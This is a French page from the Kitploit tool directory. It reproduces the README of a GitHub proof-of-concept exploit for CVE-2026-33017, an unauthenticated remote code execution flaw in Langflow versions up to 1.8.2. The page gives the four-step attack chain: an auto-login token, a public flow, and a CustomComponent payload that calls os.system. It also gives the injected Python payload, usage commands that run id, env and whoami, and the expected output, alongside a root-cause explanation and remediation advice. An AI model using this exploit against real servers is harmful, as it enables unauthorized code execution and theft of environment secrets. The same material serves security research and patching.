Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017-langflow-rce — Preuve de concept pour CVE-2026-33017, démontrant l'exécution de code à distance sans authentification dans les versions vulnérables de Langflow via l'injection de code malveillant dans CustomComponent. | Kitploit
Outils/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Preuve de concept pour CVE-2026-33017, démontrant l'exécution de code à distance sans authentification dans les versions vulnérables de Langflow via l'injection de code malveillant dans CustomComponent.

Voir le dépôt
1il y a 4h 31mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 — Exécution de code à distance non authentifiée dans Langflow (RCE)

Aperçu

ID CVE : CVE-2026-33017
Logiciel affecté : Langflow Versions vulnérables : <= 1.8.2 Version corrigée : >= 1.9.0 Sévérité : Critique
Auteur : arensballiu
Date : 2026

Description

Langflow expose un endpoint public de construction de flow (/api/v1/build_public_tmp/{flowID}/flow) qui accepte des blocs de code CustomComponent arbitraires et les exécute côté serveur sans authentification. En injectant une charge utile Python malveillante dans le champ code d'un nœud CustomComponent, un attaquant non authentifié peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Langflow.

La chaîne d'attaque exploite d'abord l'endpoint /api/v1/auto_login, qui délivre un jeton bearer sans exiger d'identifiants lorsque Langflow fonctionne dans sa configuration auto-login par défaut. Elle utilise ensuite ce jeton pour créer un flow public temporaire et déclencher l'exécution de code côté serveur via l'endpoint de construction.

Un fichier docker est inclus, lequel crée une instance docker avec langflow installé et en cours d'exécution.

Endpoints affectés

EndpointMéthodeAuthentification requiseObjectif
/api/v1/auto_loginGETNonObtenir un jeton bearer (auto-login doit être activé)
/api/v1/flows/POSTOui (Bearer)Créer un nouveau flow
/api/v1/build_public_tmp/{flowID}/flowPOSTNon (public)Déclencher la construction — point d'exécution vulnérable
/api/v1/flows/{flowID}DELETEOui (Bearer)Nettoyer le flow créé

Preuve de concept

Fichier : CVE-2026-33017_POC.py

Prérequis

  • Python 3.x
  • Bibliothèque requests
  • Accès réseau à une instance Langflow fonctionnant avec l'auto-login activé
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Arguments

OptionForme longueRequisDescription
-u--urlOuiURL de base de l'instance Langflow
-c--commandOuiCommande système à exécuter sur le serveur
-d--deleteNonSupprimer le flow créé après exploitation

Exemples

Vérifier l'exécution de code :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Récupérer les variables d'environnement du serveur :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Conserver le flow actif après exploitation (ignorer le nettoyage) :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Sortie attendue

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Détail de la charge utile

L'exploit injecte l'extrait Python suivant dans le champ code d'un nœud CustomComponent :

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importe dynamiquement le module os et exécute la commande shell fournie par l'attaquant sur le serveur.
  • Le reste de la définition de classe est un CustomComponent valide requis pour satisfaire le chargeur de composants de Langflow sans lever d'erreur d'analyse.
  • Le flow est créé en tant que PUBLIC et l'endpoint de construction est invoqué sur son endpoint public, ce qui signifie qu'aucun cookie de session ni jeton d'authentification n'est requis pour déclencher l'exécution.

Cause racine

Le système CustomComponent de Langflow permet de soumettre du code Python arbitraire dans le cadre d'une définition de flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow construit et évalue partiellement ce code côté serveur, y compris les instructions au niveau du module, sans sandboxing ni restriction d'accès aux fonctions natives de Python telles que __import__.

Résumé de la chaîne d'attaque

root@kitploit:~
1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Les quatre étapes peuvent être réalisées par un attaquant anonyme contre un déploiement Langflow par défaut.

Remédiation

  • Mettre à niveau Langflow vers la version 1.9.0 ou supérieure.
  • Désactiver l'auto-login (LANGFLOW_AUTO_LOGIN=false) dans tout déploiement exposé à Internet.

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.

Télécharger l’outil